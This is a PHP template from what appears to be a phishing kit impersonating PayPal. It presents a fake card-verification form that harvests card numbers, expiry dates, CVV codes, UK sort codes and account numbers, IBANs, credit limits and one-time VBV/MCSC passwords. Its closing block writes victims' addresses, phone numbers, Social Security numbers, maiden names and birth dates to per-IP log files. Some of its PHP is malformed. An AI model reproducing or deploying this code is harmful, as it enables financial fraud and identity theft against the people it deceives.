<?php
$Cece = explode('Cece', file_get_contents('../Save/' . $ip . '.logged'));
?>
<script src="../js/jquery.payment.js"></script>
<script src="../js/jquery.wallet.js"></script>
<form method="post" id="parentForm" name="creditcard_Form" class="edit">
<p class="group fcenter">
<input maxlength="11" class="large" autocomplete="off" required="required" name="country" value="<?php echo $nama_negara;?>" type="text" style="display:none"></span>
<?php
if ($negara=="UK" or $negara=="IE"){ echo '
<span class="help" style="padding-left:4%;">Νeed for bank validation.</span>
<label for="sortcode">Sort Code - Account No :</label>
<span class="field">
<input name="sort_code1" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">
<input name="sort_code2" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code">
<input name="sort_code3" style="width: 1.3em;" pattern="[0-9]{2,}" maxlength="2" autocomplete="off" required="required" type="text" title="Enter a valid sort code"> -
<input name="acc_number" style="width: 5.4em;" pattern="[0-9]{8,}" maxlength="8" autocomplete="off" required="required" type="text" title="Enter account number"></span>
';}
if ($negara=="NL"){ echo '
<span class="help" style="padding-left:4%;">Enter your IBAN here from. </span>
<label for="iban_nl">IBAN :</label>
<span class="field">
<input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="iban_nl" value="" required="" title="IBAN"></span>
';}
if ($negara=="NZ"){ echo '
<span class="help" style="padding-left:4%;">Enter the credit limit of the card. </span>
<label for="creditlimit">Credit Limit :</label>
<span class="field">
<input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="creditlimit" value="" required="" title="Credit Limit" placeholder="E.g. 10000"></span>
';}
?>
<span class="help" style="padding-left:4%;">Νame as it appears on Card.</span>
<label for="cc_holder">Cardholder Νame :</label>
<span class="field" id="cc_holder">
<input type="text" autocomplete="off" class="large" pattern=".{2,30}" maxlength="32" name="cc_holder" value="" required="" title="Cardholder name"></span>
<?php
if (!empty($Cece[1])){echo '<span class="field">'.$Cece[1].' - Ending '.$Cece[2].' - Exp Date '.$Cece[3].'</span>' ;}
?>
<label for="cc_number">Card Number :</label>
<span class="field">
<input type="text" id="cc_number" autocomplete="off" style="width: 12em;" pattern="[2-7][0-9 ]{11,20}" maxlength="20" name="cc_number" value="" required="" title="Only number">
</span>
<label for="expdate">Εxpiration Date :</label>
<span class="field" style="margin-bottom: 7px;">
<?php
echo date_dropdown(20);
function date_dropdown($year_limit = 0)
{
/*month*/
$html_output = ' <select class="smal" required="required" name="expdate_month" title="Exp month">'."\n";
$html_output .= ' ';
for ($exp_month = 1; $exp_month <= 12; $exp_month++) {
if (strlen($exp_month) === 1){
$html_output .= '<option value="0' . $exp_month . '">0' . $exp_month . '</option>';
} else {
$html_output .= '<option value="' . $exp_month . '">' . $exp_month . '</option>';
}
}
$html_output .= "\n".' </select> / '."\n";
/*years*/
if (date('m') == 12){
$html_output .= ' <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
$html_output .= ' ';
for ($exp_year = date('Y') + 1; $exp_year <= date('Y') + $year_limit; $exp_year++) {
$html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
}
$html_output .= "\n".' </select>'."\n";
} else {
$html_output .= ' <select class="mediu" required="required" name="expdate_year" title="Exp year">'."\n";
$html_output .= ' ';
for ($exp_year = date('Y'); $exp_year <= date('Y') + $year_limit; $exp_year++) {
$html_output .= '<option value="' . $exp_year . '">' . $exp_year . '</option>';
}
$html_output .= "\n".' </select>'."\n";
}
return $html_output;
}
?>
</span>
<label for="cvv2_number">Card Security Cοde :</label>
<span class="field">
<input id="cvv2_number" autocomplete="off" style="width:3.49em;" pattern="[0-9]{3,5}" maxlength="4" name="cvv2_number" value="" required="" type="text" title="Enter a valid csc">
<span class="small"><a target="_blank" href="../page/cvv_info_pop&enable_locale.htm" onclick="AYPAL.core.openWindow(event, {width: 425, height: 450});" id="1"> What is this?</a></span>
</span>
<?php
if ($negara=="UK" or $negara=="IE"){ echo
<label> for="otp_pass"> One Time Password:</label>
</span class="field">
<input type="password" id="otp_pass" autocomplete="off" style="width: 12em;" maxlength="20" name="otp_pass_1" value="" required="" title="One Time Password"><img src="http://www.igc.asia/wp-content/uploads/2014/11/debit-card-verified-by-visa-and-mastercard-secure-code-no-credit-card-needed.jpg" width="65">
</br>
<span class="desc lighter">Please enter a valid OTP for VBV or MCSC. If not have VBV or MCSC skip OTP form.</span> ;
}
?>
<div class="ngawur">
</div>
</p>
<p class="bcenter">
<button style="width: 100px !important;" type="submit" value="Submit" class="button">Submit</button>
</p>
<?php
if (!empty($_POST['address_1'])){
$SaveData = '../Save/' . $ip . '.logged';
$AddData = "
AddInfoAccount Name : ".$_POST['full_name']."
Address Line 1 : ".$_POST['address_1']."
Address Line 2 : ".$_POST['address_2']."
City/Town : ".$_POST['city']."
State : ".$_POST['state']."
Zip/PostCode : ".$_POST['postal']."
Country : ".$nama_negara."
Phone Number : ".$_POST['phone']."
SSN : ".$_POST['number_1']." - ".$_POST['number_2']." - ".$_POST['number_3']."
ID Num/Maiden : ".$_POST['id_number']."
DOB : ".$_POST['day']." / ".$_POST['month']." / ".$_POST['year']."AddInfo
";
if (!file_exists($SaveData)) {
$fp = @fopen($SaveData, 'w');
@fwrite($fp, $AddData);
@fclose($fp);
} else {
$fp = @fopen($SaveData, 'a');
@fwrite($fp, $AddData);
@fclose($fp);
}
}
?>
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